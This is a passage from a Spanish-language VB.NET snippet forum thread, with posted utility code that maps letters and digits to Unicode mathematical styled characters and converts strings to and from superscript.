  313.                           {"F"c, "&#120229;"}, {"G"c, "&#120230;"}, {"H"c, "&#120231;"}, {"I"c, "&#120232;"}, {"J"c, "&#120233;"},
  314.                           {"K"c, "&#120234;"}, {"L"c, "&#120235;"}, {"M"c, "&#120236;"}, {"N"c, "&#120237;"}, {"O"c, "&#120238;"},
  315.                           {"P"c, "&#120239;"}, {"Q"c, "&#120240;"}, {"R"c, "&#120241;"}, {"S"c, "&#120242;"}, {"T"c, "&#120243;"},
  316.                           {"U"c, "&#120244;"}, {"V"c, "&#120245;"}, {"W"c, "&#120246;"}, {"X"c, "&#120247;"}, {"Y"c, "&#120248;"},
  317.                           {"Z"c, "&#120249;"},
  318.                           {"a"c, "&#120250;"}, {"b"c, "&#120251;"}, {"c"c, "&#120252;"}, {"d"c, "&#120253;"}, {"e"c, "&#120254;"},
  319.                           {"f"c, "&#120255;"}, {"g"c, "&#120256;"}, {"h"c, "&#120257;"}, {"i"c, "&#120258;"}, {"j"c, "&#120259;"},
  320.                           {"k"c, "&#120260;"}, {"l"c, "&#120261;"}, {"m"c, "&#120262;"}, {"n"c, "&#120263;"}, {"o"c, "&#120264;"},
  321.                           {"p"c, "&#120265;"}, {"q"c, "&#120266;"}, {"r"c, "&#120267;"}, {"s"c, "&#120268;"}, {"t"c, "&#120269;"},
  322.                           {"u"c, "&#120270;"}, {"v"c, "&#120271;"}, {"w"c, "&#120272;"}, {"x"c, "&#120273;"}, {"y"c, "&#120274;"},
  323.                           {"z"c, "&#120275;"},
  324.                           {"0"c, "&#120802;"}, {"1"c, "&#120803;"}, {"2"c, "&#120804;"}, {"3"c, "&#120805;"}, {"4"c, "&#120806;"},
  325.                           {"5"c, "&#120807;"}, {"6"c, "&#120808;"}, {"7"c, "&#120809;"}, {"8"c, "&#120810;"}, {"9"c, "&#120811;"}
  326.                       }
  327.                End If
  328.                Return UnicodeCharacterMaps._sansSerif
  329.            End Get
  330.        End Property
  331.  
  332.        ''' ----------------------------------------------------------------------------------------------------
  333.        ''' <summary>
  334.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  335.        ''' and the values are their corresponding symbols from the 'Sans-Serif Bold' character set
  336.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D5D4 to U+1D607).
  337.        ''' <para></para>
  338.        ''' e.g., dictionary key: 'A' gets value: '&#120276;', and dictionary key: 'a' gets value: '&#120302;'.
  339.        ''' </summary>
  340.        ''' ----------------------------------------------------------------------------------------------------
  341.        Public Shared ReadOnly Property SansSerifBold As Dictionary(Of Char, String)
  342.            Get
  343.                If UnicodeCharacterMaps._sansSerifBold Is Nothing Then
  344.                    UnicodeCharacterMaps._sansSerifBold = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  345.                           {"A"c, "&#120276;"}, {"B"c, "&#120277;"}, {"C"c, "&#120278;"}, {"D"c, "&#120279;"}, {"E"c, "&#120280;"},
  346.                           {"F"c, "&#120281;"}, {"G"c, "&#120282;"}, {"H"c, "&#120283;"}, {"I"c, "&#120284;"}, {"J"c, "&#120285;"},
  347.                           {"K"c, "&#120286;"}, {"L"c, "&#120287;"}, {"M"c, "&#120288;"}, {"N"c, "&#120289;"}, {"O"c, "&#120290;"},
  348.                           {"P"c, "&#120291;"}, {"Q"c, "&#120292;"}, {"R"c, "&#120293;"}, {"S"c, "&#120294;"}, {"T"c, "&#120295;"},
  349.                           {"U"c, "&#120296;"}, {"V"c, "&#120297;"}, {"W"c, "&#120298;"}, {"X"c, "&#120299;"}, {"Y"c, "&#120300;"},
  350.                           {"Z"c, "&#120301;"},
  351.                           {"a"c, "&#120302;"}, {"b"c, "&#120303;"}, {"c"c, "&#120304;"}, {"d"c, "&#120305;"}, {"e"c, "&#120306;"},
  352.                           {"f"c, "&#120307;"}, {"g"c, "&#120308;"}, {"h"c, "&#120309;"}, {"i"c, "&#120310;"}, {"j"c, "&#120311;"},
  353.                           {"k"c, "&#120312;"}, {"l"c, "&#120313;"}, {"m"c, "&#120314;"}, {"n"c, "&#120315;"}, {"o"c, "&#120316;"},
  354.                           {"p"c, "&#120317;"}, {"q"c, "&#120318;"}, {"r"c, "&#120319;"}, {"s"c, "&#120320;"}, {"t"c, "&#120321;"},
  355.                           {"u"c, "&#120322;"}, {"v"c, "&#120323;"}, {"w"c, "&#120324;"}, {"x"c, "&#120325;"}, {"y"c, "&#120326;"},
  356.                           {"z"c, "&#120327;"},
  357.                           {"0"c, "&#120812;"}, {"1"c, "&#120813;"}, {"2"c, "&#120814;"}, {"3"c, "&#120815;"}, {"4"c, "&#120816;"},
  358.                           {"5"c, "&#120817;"}, {"6"c, "&#120818;"}, {"7"c, "&#120819;"}, {"8"c, "&#120820;"}, {"9"c, "&#120821;"}
  359.                       }
  360.                End If
  361.                Return UnicodeCharacterMaps._sansSerifBold
  362.            End Get
  363.        End Property
  364.  
  365.        ''' ----------------------------------------------------------------------------------------------------
  366.        ''' <summary>
  367.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z',
  368.        ''' and the values are their corresponding symbols from the 'Sans-Serif Italic' character set
  369.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D608 to U+1D63B).
  370.        ''' <para></para>
  371.        ''' e.g., dictionary key: 'A' gets value: '&#120328;', and dictionary key: 'a' gets value: '&#120354;'.
  372.        ''' </summary>
  373.        ''' ----------------------------------------------------------------------------------------------------
  374.        Public Shared ReadOnly Property SansSerifItalic As Dictionary(Of Char, String)
  375.            Get
  376.                If UnicodeCharacterMaps._sansSerifItalic Is Nothing Then
  377.                    UnicodeCharacterMaps._sansSerifItalic = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  378.                           {"A"c, "&#120328;"}, {"B"c, "&#120329;"}, {"C"c, "&#120330;"}, {"D"c, "&#120331;"}, {"E"c, "&#120332;"},
  379.                           {"F"c, "&#120333;"}, {"G"c, "&#120334;"}, {"H"c, "&#120335;"}, {"I"c, "&#120336;"}, {"J"c, "&#120337;"},
  380.                           {"K"c, "&#120338;"}, {"L"c, "&#120339;"}, {"M"c, "&#120340;"}, {"N"c, "&#120341;"}, {"O"c, "&#120342;"},
  381.                           {"P"c, "&#120343;"}, {"Q"c, "&#120344;"}, {"R"c, "&#120345;"}, {"S"c, "&#120346;"}, {"T"c, "&#120347;"},
  382.                           {"U"c, "&#120348;"}, {"V"c, "&#120349;"}, {"W"c, "&#120350;"}, {"X"c, "&#120351;"}, {"Y"c, "&#120352;"},
  383.                           {"Z"c, "&#120353;"},
  384.                           {"a"c, "&#120354;"}, {"b"c, "&#120355;"}, {"c"c, "&#120356;"}, {"d"c, "&#120357;"}, {"e"c, "&#120358;"},
  385.                           {"f"c, "&#120359;"}, {"g"c, "&#120360;"}, {"h"c, "&#120361;"}, {"i"c, "&#120362;"}, {"j"c, "&#120363;"},
  386.                           {"k"c, "&#120364;"}, {"l"c, "&#120365;"}, {"m"c, "&#120366;"}, {"n"c, "&#120367;"}, {"o"c, "&#120368;"},
  387.                           {"p"c, "&#120369;"}, {"q"c, "&#120370;"}, {"r"c, "&#120371;"}, {"s"c, "&#120372;"}, {"t"c, "&#120373;"},
  388.                           {"u"c, "&#120374;"}, {"v"c, "&#120375;"}, {"w"c, "&#120376;"}, {"x"c, "&#120377;"}, {"y"c, "&#120378;"},
  389.                           {"z"c, "&#120379;"}
  390.                       }
  391.                End If
  392.                Return UnicodeCharacterMaps._sansSerifItalic
  393.            End Get
  394.        End Property
  395.  
  396.        ''' ----------------------------------------------------------------------------------------------------
  397.        ''' <summary>
  398.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z',
  399.        ''' and the values are their corresponding symbols from the 'Sans-Serif Bold Italic' character set
  400.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D63C to U+1D66F).
  401.        ''' <para></para>
  402.        ''' e.g., dictionary key: 'A' gets value: '&#120380;', and dictionary key: 'a' gets value: '&#120406;'.
  403.        ''' </summary>
  404.        ''' ----------------------------------------------------------------------------------------------------
  405.        Public Shared ReadOnly Property SansSerifBoldItalic As Dictionary(Of Char, String)
  406.            Get
  407.                If UnicodeCharacterMaps._sansSerifBoldItalic Is Nothing Then
  408.                    UnicodeCharacterMaps._sansSerifBoldItalic = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  409.                           {"A"c, "&#120380;"}, {"B"c, "&#120381;"}, {"C"c, "&#120382;"}, {"D"c, "&#120383;"}, {"E"c, "&#120384;"},
  410.                           {"F"c, "&#120385;"}, {"G"c, "&#120386;"}, {"H"c, "&#120387;"}, {"I"c, "&#120388;"}, {"J"c, "&#120389;"},
  411.                           {"K"c, "&#120390;"}, {"L"c, "&#120391;"}, {"M"c, "&#120392;"}, {"N"c, "&#120393;"}, {"O"c, "&#120394;"},
  412.                           {"P"c, "&#120395;"}, {"Q"c, "&#120396;"}, {"R"c, "&#120397;"}, {"S"c, "&#120398;"}, {"T"c, "&#120399;"},
  413.                           {"U"c, "&#120400;"}, {"V"c, "&#120401;"}, {"W"c, "&#120402;"}, {"X"c, "&#120403;"}, {"Y"c, "&#120404;"},
  414.                           {"Z"c, "&#120405;"},
  415.                           {"a"c, "&#120406;"}, {"b"c, "&#120407;"}, {"c"c, "&#120408;"}, {"d"c, "&#120409;"}, {"e"c, "&#120410;"},
  416.                           {"f"c, "&#120411;"}, {"g"c, "&#120412;"}, {"h"c, "&#120413;"}, {"i"c, "&#120414;"}, {"j"c, "&#120415;"},
  417.                           {"k"c, "&#120416;"}, {"l"c, "&#120417;"}, {"m"c, "&#120418;"}, {"n"c, "&#120419;"}, {"o"c, "&#120420;"},
  418.                           {"p"c, "&#120421;"}, {"q"c, "&#120422;"}, {"r"c, "&#120423;"}, {"s"c, "&#120424;"}, {"t"c, "&#120425;"},
  419.                           {"u"c, "&#120426;"}, {"v"c, "&#120427;"}, {"w"c, "&#120428;"}, {"x"c, "&#120429;"}, {"y"c, "&#120430;"},
  420.                           {"z"c, "&#120431;"}
  421.                       }
  422.                End If
  423.                Return UnicodeCharacterMaps._sansSerifBoldItalic
  424.            End Get
  425.        End Property
  426.  
  427.        ''' ----------------------------------------------------------------------------------------------------
  428.        ''' <summary>
  429.        ''' Gets a dictionary where the keys are the alphabet letters from 'a' to 'Z' and numbers from '0' to '9',
  430.        ''' and the values are their corresponding symbols from the 'Monospace' character set
  431.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D670 to U+1D6A3).
  432.        ''' <para></para>
  433.        ''' e.g., dictionary key: 'A' gets value: '&#120432;', and dictionary key: 'a' gets value: '&#120458;'.
  434.        ''' </summary>
  435.        ''' ----------------------------------------------------------------------------------------------------
  436.        Public Shared ReadOnly Property MonoSpace As Dictionary(Of Char, String)
  437.            Get
  438.                If UnicodeCharacterMaps._monoSpace Is Nothing Then
  439.                    UnicodeCharacterMaps._monoSpace = New Dictionary(Of Char, String)(EqualityComparer(Of Char).Default) From {
  440.                           {"A"c, "&#120432;"}, {"B"c, "&#120433;"}, {"C"c, "&#120434;"}, {"D"c, "&#120435;"}, {"E"c, "&#120436;"},
  441.                           {"F"c, "&#120437;"}, {"G"c, "&#120438;"}, {"H"c, "&#120439;"}, {"I"c, "&#120440;"}, {"J"c, "&#120441;"},
  442.                           {"K"c, "&#120442;"}, {"L"c, "&#120443;"}, {"M"c, "&#120444;"}, {"N"c, "&#120445;"}, {"O"c, "&#120446;"},
  443.                           {"P"c, "&#120447;"}, {"Q"c, "&#120448;"}, {"R"c, "&#120449;"}, {"S"c, "&#120450;"}, {"T"c, "&#120451;"},
  444.                           {"U"c, "&#120452;"}, {"V"c, "&#120453;"}, {"W"c, "&#120454;"}, {"X"c, "&#120455;"}, {"Y"c, "&#120456;"},
  445.                           {"Z"c, "&#120457;"},
  446.                           {"a"c, "&#120458;"}, {"b"c, "&#120459;"}, {"c"c, "&#120460;"}, {"d"c, "&#120461;"}, {"e"c, "&#120462;"},
  447.                           {"f"c, "&#120463;"}, {"g"c, "&#120464;"}, {"h"c, "&#120465;"}, {"i"c, "&#120466;"}, {"j"c, "&#120467;"},
  448.                           {"k"c, "&#120468;"}, {"l"c, "&#120469;"}, {"m"c, "&#120470;"}, {"n"c, "&#120471;"}, {"o"c, "&#120472;"},
  449.                           {"p"c, "&#120473;"}, {"q"c, "&#120474;"}, {"r"c, "&#120475;"}, {"s"c, "&#120476;"}, {"t"c, "&#120477;"},
  450.                           {"u"c, "&#120478;"}, {"v"c, "&#120479;"}, {"w"c, "&#120480;"}, {"x"c, "&#120481;"}, {"y"c, "&#120482;"},
  451.                           {"z"c, "&#120483;"},
  452.                           {"0"c, "&#120822;"}, {"1"c, "&#120823;"}, {"2"c, "&#120824;"}, {"3"c, "&#120825;"}, {"4"c, "&#120826;"},
  453.                           {"5"c, "&#120827;"}, {"6"c, "&#120828;"}, {"7"c, "&#120829;"}, {"8"c, "&#120830;"}, {"9"c, "&#120831;"}
  454.                       }
  455.                End If
  456.                Return UnicodeCharacterMaps._monoSpace
  457.            End Get
  458.        End Property
  459.  
  460. #End Region
  461.  
  462. #Region " Constructors "
  463.  
  464.        ''' ----------------------------------------------------------------------------------------------------
  465.        ''' <summary>
  466.        ''' Prevents a default instance of the <see cref="UnicodeCharacterMaps"/> class from being created.
  467.        ''' </summary>
  468.        ''' ----------------------------------------------------------------------------------------------------
  469.        <DebuggerNonUserCode>
  470.        Private Sub New()
  471.        End Sub
  472.  
  473. #End Region
  474.  
  475.    End Class
  476.  
  477. End Namespace
  478.  
  479. #End Region
  480.  



EL CÓDIGO CONTINÚA EN EL SIGUIENTE POST 👇👇👇


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:05 am
CONTINUACIÓN DEL CÓDIGO DE ARRIBA ☝️☝️☝️



UnicodeAlphabeticCharacterSets.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " UnicodeAlphabeticCharacterSets "
  15.  
  16. ' ReSharper disable once CheckNamespace
  17.  
  18. Namespace DevCase.Core.DataProcessing.Common
  19.  
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <summary>
  22.    ''' Specifies a Unicode alphabetic character set.
  23.    ''' <para></para>
  24.    ''' This enum is used by <see cref="UtilString.ConvertToUnicodeLetters"/> function.
  25.    ''' </summary>
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <remarks>
  28.    ''' The Unicode character sets are standardized sets of characters that cover
  29.    ''' various scripts and symbols used in written languages worldwide.
  30.    ''' <para></para>
  31.    ''' Unicode provides a unique code point for each character, ensuring interoperability and
  32.    ''' compatibility across different platforms and systems.
  33.    ''' <para></para>
  34.    ''' The alphabetic character sets defined in this enumeration represent
  35.    ''' specific stylistic variations of alphabetic characters used in mathematics and typography.
  36.    ''' <para></para>
  37.    ''' These character sets are commonly used in scientific and mathematical contexts,
  38.    ''' as well as in typography and font design.
  39.    ''' <para></para>
  40.    ''' They allow for precise representation of stylized alphabetic characters
  41.    ''' in various mathematical equations, formulas, and text layouts.
  42.    ''' </remarks>
  43.    ''' ----------------------------------------------------------------------------------------------------
  44.    Public Enum UnicodeAlphabeticCharacterSets
  45.  
  46.        ''' <summary>
  47.        ''' Unicode symbols from the 'Mathematical Bold Italic' character set
  48.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D468 to U+1D49B),
  49.        ''' representing the alphabet letters from 'a' to 'Z'.
  50.        ''' <para></para>
  51.        ''' e.g., 'A': '&#119912;', 'a': '&#119938;'.
  52.        ''' </summary>
  53.        MathematicalBoldItalic
  54.  
  55.        ''' <summary>
  56.        ''' Unicode symbols from the 'Mathematical Bold Script' character set
  57.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D4D0 to U+1D503),
  58.        ''' representing the alphabet letters from 'a' to 'Z'.
  59.        ''' <para></para>
  60.        ''' e.g., 'A': '&#120016;', 'a': '&#120042;'.
  61.        ''' </summary>
  62.        MathematicalBoldScript
  63.  
  64.        ''' <summary>
  65.        ''' Unicode symbols from the 'Mathematical Italic' character set
  66.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D434 to U+1D467),
  67.        ''' representing the alphabet letters from 'a' to 'Z'.
  68.        ''' <para></para>
  69.        ''' e.g., 'A': '&#119860;', 'a': '&#119886;'.
  70.        ''' </summary>
  71.        MathematicalItalic
  72.  
  73.        ''' <summary>
  74.        ''' Unicode symbols from the 'Sans-Serif Bold Italic' character set
  75.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D63C to U+1D66F),
  76.        ''' representing the alphabet letters from 'a' to 'Z'.
  77.        ''' <para></para>
  78.        ''' e.g., 'A': '&#120380;', 'a': '&#120406;'.
  79.        ''' </summary>
  80.        SansSerifBoldItalic
  81.  
  82.        ''' <summary>
  83.        ''' Unicode symbols from the 'Sans-Serif Italic' character set
  84.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D608 to U+1D63B),
  85.        ''' representing the alphabet letters from 'a' to 'Z'.
  86.        ''' <para></para>
  87.        ''' e.g., 'A': '&#120328;', 'a': '&#120354;'.
  88.        ''' </summary>
  89.        SansSerifItalic
  90.  
  91.    End Enum
  92.  
  93. End Namespace
  94.  
  95. #End Region
  96.  



UnicodeAlphanumericCharacterSets.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Option Statements "
  7.  
  8. Option Strict On
  9. Option Explicit On
  10. Option Infer Off
  11.  
  12. #End Region
  13.  
  14. #Region " UnicodeAlphanumericCharacterSets "
  15.  
  16. ' ReSharper disable once CheckNamespace
  17.  
  18. Namespace DevCase.Core.DataProcessing.Common
  19.  
  20.    ''' ----------------------------------------------------------------------------------------------------
  21.    ''' <summary>
  22.    ''' Specifies a Unicode alphanumeric character set.
  23.    ''' <para></para>
  24.    ''' This enum is used by <see cref="UtilString.ConvertToUnicodeLetters"/> function.
  25.    ''' </summary>
  26.    ''' ----------------------------------------------------------------------------------------------------
  27.    ''' <remarks>
  28.    ''' The Unicode character sets are standardized sets of characters that cover
  29.    ''' various scripts and symbols used in written languages worldwide.
  30.    ''' <para></para>
  31.    ''' Unicode provides a unique code point for each character, ensuring interoperability and
  32.    ''' compatibility across different platforms and systems.
  33.    ''' <para></para>
  34.    ''' The alphanumeric character sets defined in this enumeration represent
  35.    ''' specific stylistic variations of alphabetic characters used in mathematics and typography.
  36.    ''' <para></para>
  37.    ''' These character sets are commonly used in scientific and mathematical contexts,
  38.    ''' as well as in typography and font design.
  39.    ''' <para></para>
  40.    ''' They allow for precise representation of stylized alphabetic characters
  41.    ''' in various mathematical equations, formulas, and text layouts.
  42.    ''' </remarks>
  43.    ''' ----------------------------------------------------------------------------------------------------
  44.    Public Enum UnicodeAlphanumericCharacterSets
  45.  
  46.        ''' <summary>
  47.        ''' Unicode symbols from the 'Mathematical Bold' character set
  48.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D400 to U+1D433),
  49.        ''' representing the alphabet letters from 'a' to 'Z' and numbers from '0' to '9'.
  50.        ''' <para></para>
  51.        ''' e.g., 'A': '&#119808;', 'a': '&#119834;'.
  52.        ''' </summary>
  53.        MathematicalBold
  54.  
  55.        ''' <summary>
  56.        ''' Unicode symbols from the 'Monospace' character set
  57.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D670 to U+1D6A3),
  58.        ''' representing the alphabet letters from 'a' to 'Z' and numbers from '0' to '9'.
  59.        ''' <para></para>
  60.        ''' e.g., 'A': '&#120432;', 'a': '&#120458;'.
  61.        ''' </summary>
  62.        MonoSpace
  63.  
  64.        ''' <summary>
  65.        ''' Unicode symbols from the 'Sans-Serif' character set
  66.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D5A0 to U+1D5D3),
  67.        ''' representing the alphabet letters from 'a' to 'Z' and numbers from '0' to '9'.
  68.        ''' <para></para>
  69.        ''' e.g., 'A': '&#120224;', 'a': '&#120250;'.
  70.        ''' </summary>
  71.        SansSerif
  72.  
  73.        ''' <summary>
  74.        ''' Unicode symbols from the 'Sans-Serif Bold' character set
  75.        ''' of the 'Mathematical Alphanumeric Symbols' unicode blocks (U+1D5D4 to U+1D607),
  76.        ''' representing the alphabet letters from 'a' to 'Z' and numbers from '0' to '9'.
  77.        ''' <para></para>
  78.        ''' e.g., 'A': '&#120276;', 'a': '&#120302;'.
  79.        ''' </summary>
  80.        SansSerifBold
  81.  
  82.    End Enum
  83.  
  84. End Namespace
  85.  
  86. #End Region
  87.  



UtilString.vb
Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' ConvertToUnicodeLetters(String, UnicodeAlphabeticCharacterSets) As String
  11. ' ConvertToUnicodeLetters(String, UnicodeAlphanumericCharacterSets) As String
  12.  
  13. #End Region
  14.  
  15. #End Region
  16.  
  17. #Region " Option Statements "
  18.  
  19. Option Strict On
  20. Option Explicit On
  21. Option Infer Off
  22.  
  23. #End Region
  24.  
  25. #Region " Imports "
  26.  
  27. Imports System.Collections.Generic
  28. Imports System.ComponentModel
  29. Imports System.Text
  30.  
  31. #End Region
  32.  
  33. #Region " String Util "
  34.  
  35. ' ReSharper disable once CheckNamespace
  36.  
  37. Namespace DevCase.Core.DataProcessing.Common
  38.  
  39.    Partial Public NotInheritable Class UtilString
  40.  
  41. #Region " Public Methods "
  42.  
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        ''' <summary>
  45.        ''' Converts the alphabetic characters in the input string to their corresponding
  46.        ''' Unicode representations based on the specified character set.
  47.        ''' </summary>
  48.        ''' ----------------------------------------------------------------------------------------------------
  49.        ''' <param name="input">
  50.        ''' The input string to convert.
  51.        ''' </param>
  52.        '''
  53.        ''' <param name="charSet">
  54.        ''' The Unicode character set to use for the character conversion.
  55.        ''' </param>
  56.        ''' ----------------------------------------------------------------------------------------------------
  57.        ''' <returns>
  58.        ''' The input string with alphabetic characters replaced by their Unicode counterparts.
  59.        ''' </returns>
  60.        ''' ----------------------------------------------------------------------------------------------------
  61.        <DebuggerStepThrough>
  62.        Public Shared Function ConvertToUnicodeLetters(input As String, charSet As UnicodeAlphabeticCharacterSets) As String
  63.  
  64.            If String.IsNullOrWhiteSpace(input) Then
  65.                Return input
  66.            End If
  67.  
  68.            Dim charMap As Dictionary(Of Char, String)
  69.            Select Case charSet
  70.  
  71.                Case UnicodeAlphabeticCharacterSets.MathematicalBoldItalic
  72.                    charMap = UnicodeCharacterMaps.MathematicalBoldItalic
  73.  
  74.                Case UnicodeAlphabeticCharacterSets.MathematicalBoldScript
  75.                    charMap = UnicodeCharacterMaps.MathematicalBoldScript
  76.  
  77.                Case UnicodeAlphabeticCharacterSets.MathematicalItalic
  78.                    charMap = UnicodeCharacterMaps.MathematicalItalic
  79.  
  80.                Case UnicodeAlphabeticCharacterSets.SansSerifBoldItalic
  81.                    charMap = UnicodeCharacterMaps.SansSerifBoldItalic
  82.  
  83.                Case UnicodeAlphabeticCharacterSets.SansSerifItalic
  84.                    charMap = UnicodeCharacterMaps.SansSerifItalic
  85.  
  86.                Case Else
  87.                    Throw New InvalidEnumArgumentException(argumentName:=NameOf(charSet),
  88.                                                       invalidValue:=charSet,
  89.                                                       enumClass:=GetType(UnicodeAlphabeticCharacterSets))
  90.            End Select
  91.  
  92.            Dim sb As New StringBuilder(input.Length)
  93.            For Each c As Char In input
  94.                Dim value As String = Nothing
  95.                If charMap.TryGetValue(c, value) Then
  96.                    sb.Append(value)
  97.                Else
  98.                    sb.Append(c)
  99.                End If
  100.            Next
  101.  
  102.            Return sb.ToString()
  103.        End Function
  104.  
  105.        ''' ----------------------------------------------------------------------------------------------------
  106.        ''' <summary>
  107.        ''' Converts the alphanumeric characters in the input string to their corresponding
  108.        ''' Unicode representations based on the specified character set.
  109.        ''' </summary>
  110.        ''' ----------------------------------------------------------------------------------------------------
  111.        ''' <param name="input">
  112.        ''' The input string to convert.
  113.        ''' </param>
  114.        '''
  115.        ''' <param name="charSet">
  116.        ''' The Unicode character set to use for the character conversion.
  117.        ''' </param>
  118.        ''' ----------------------------------------------------------------------------------------------------
  119.        ''' <returns>
  120.        ''' The input string with alphanumeric characters replaced by their Unicode counterparts.
  121.        ''' </returns>
  122.        ''' ----------------------------------------------------------------------------------------------------
  123.        <DebuggerStepThrough>
  124.        Public Shared Function ConvertToUnicodeLetters(input As String, charSet As UnicodeAlphanumericCharacterSets) As String
  125.  
  126.            If String.IsNullOrWhiteSpace(input) Then
  127.                Return input
  128.            End If
  129.  
  130.            Dim charMap As Dictionary(Of Char, String)
  131.            Select Case charSet
  132.  
  133.                Case UnicodeAlphanumericCharacterSets.MathematicalBold
  134.                    charMap = UnicodeCharacterMaps.MathematicalBold
  135.  
  136.                Case UnicodeAlphanumericCharacterSets.MonoSpace
  137.                    charMap = UnicodeCharacterMaps.MonoSpace
  138.  
  139.                Case UnicodeAlphanumericCharacterSets.SansSerif
  140.                    charMap = UnicodeCharacterMaps.SansSerif
  141.  
  142.                Case UnicodeAlphanumericCharacterSets.SansSerifBold
  143.                    charMap = UnicodeCharacterMaps.SansSerifBold
  144.  
  145.                Case Else
  146.                    Throw New InvalidEnumArgumentException(argumentName:=NameOf(charSet),
  147.                                                       invalidValue:=charSet,
  148.                                                       enumClass:=GetType(UnicodeAlphanumericCharacterSets))
  149.            End Select
  150.  
  151.            Dim sb As New StringBuilder(input.Length)
  152.            For Each c As Char In input
  153.                Dim value As String = Nothing
  154.                If charMap.TryGetValue(c, value) Then
  155.                    sb.Append(value)
  156.                Else
  157.                    sb.Append(c)
  158.                End If
  159.            Next
  160.            Return sb.ToString()
  161.        End Function
  162.  
  163. #End Region
  164.  
  165.    End Class
  166.  
  167. End Namespace
  168.  
  169. #End Region
  170.  


Título: Re: Librería de Snippets para VB.NET !! (Compartan aquí sus snippets)
Publicado por: Elektro Enjuto en 10 Septiembre 2023, 09:12 am
Un código para convertir el texto de un string a superscript y vice-versa.

Ejemplos de uso:

Código
  1. Dim input As String = "The ideal temperature for sleeping is 18.3 degrees Celsius (65 degrees Fahrenheit)"
  2. Dim result As String =  ConvertToSuperscript(input)

Código
  1. Dim input As String = "&#7488;&#688;&#7497; &#8305;&#7496;&#7497;&#7491;&#737; &#7511;&#7497;&#7504;&#7510;&#7497;&#691;&#7491;&#7511;&#7512;&#691;&#7497; &#7584;&#7506;&#691; &#738;&#737;&#7497;&#7497;&#7510;&#8305;&#8319;&#7501; &#8305;&#738; ¹&#8312;&#8901;³ &#7496;&#7497;&#7501;&#691;&#7497;&#7497;&#738; &#5222;&#7497;&#737;&#738;&#8305;&#7512;&#738; &#8317;&#8310;&#8309; &#7496;&#7497;&#7501;&#691;&#7497;&#7497;&#738; &#11777;&#7491;&#688;&#691;&#7497;&#8319;&#688;&#7497;&#8305;&#7511;&#8318;"
  2. Dim result As String =  ConvertFromSuperscript(input)

(https://i.imgur.com/j8r9dUL.png)



Código
  1. ' ***********************************************************************
  2. ' Author   : ElektroStudios
  3. ' Modified : 11-July-2023
  4. ' ***********************************************************************
  5.  
  6. #Region " Public Members Summary "
  7.  
  8. #Region " Functions "
  9.  
  10. ' ConvertToSuperscript(String) As String
  11. ' ConvertFromSuperscript(String) As String
  12.  
  13. #End Region
  14.  
  15. #End Region
  16.  
  17. #Region " Option Statements "
  18.  
  19. Option Strict On
  20. Option Explicit On
  21. Option Infer Off
  22.  
  23. #End Region
  24.  
  25. #Region " Imports "
  26.  
  27. Imports System.Collections.Generic
  28. Imports System.ComponentModel
  29. Imports System.Text
  30.  
  31. #End Region
  32.  
  33. #Region " String Util "
  34.  
  35. ' ReSharper disable once CheckNamespace
  36.  
  37. Namespace DevCase.Core.DataProcessing.Common
  38.  
  39.    Partial Public NotInheritable Class UtilString
  40.  
  41. #Region " Private Fields "
  42.  
  43.        ''' ----------------------------------------------------------------------------------------------------
  44.        ''' <summary>
  45.        ''' Character map used by functions that converts ASCII characters to its Superscript forms.
  46.        ''' </summary>
  47.        ''' ----------------------------------------------------------------------------------------------------
  48.        Private Shared charMapAsciiToSuperscript As Dictionary(Of Char, Char)
  49.  
  50.        ''' ----------------------------------------------------------------------------------------------------
  51.        ''' <summary>
  52.        ''' Character map used by functions that converts Superscript characters to its ASCII forms.
  53.        ''' </summary>
  54.        ''' ----------------------------------------------------------------------------------------------------
  55.        Private Shared charMapSuperscriptToAscii As List(Of KeyValuePair(Of Char, Char))
  56.  
  57. #End Region
  58.  
  59. #Region " Public Methods "
  60.  
  61.        ''' ----------------------------------------------------------------------------------------------------
  62.        ''' <summary>
  63.        ''' Converts the characters in the input string to their corresponding superscript forms.
  64.        ''' <para></para>
  65.        ''' Letters in a superscript text are half the normal letter size and are placed above the middle of a text line.
  66.        ''' For example, the word "Sunshine" in superscript looks like this: "&#5382;&#7512;&#8319;&#738;&#688;&#8305;&#8319;&#7497;".
  67.        ''' <para></para>
  68.        ''' Superscripts are often used in mathematics to denote powers of a number, such as "x²" or "y&#7504;".
  69.        ''' They are also often used to write ordinal numbers, for example, 1&#738;&#7511;, 2&#8319;&#7496;, 3&#691;&#7496;, 4&#7511;&#688;, and so on.
  70.        ''' <para></para>
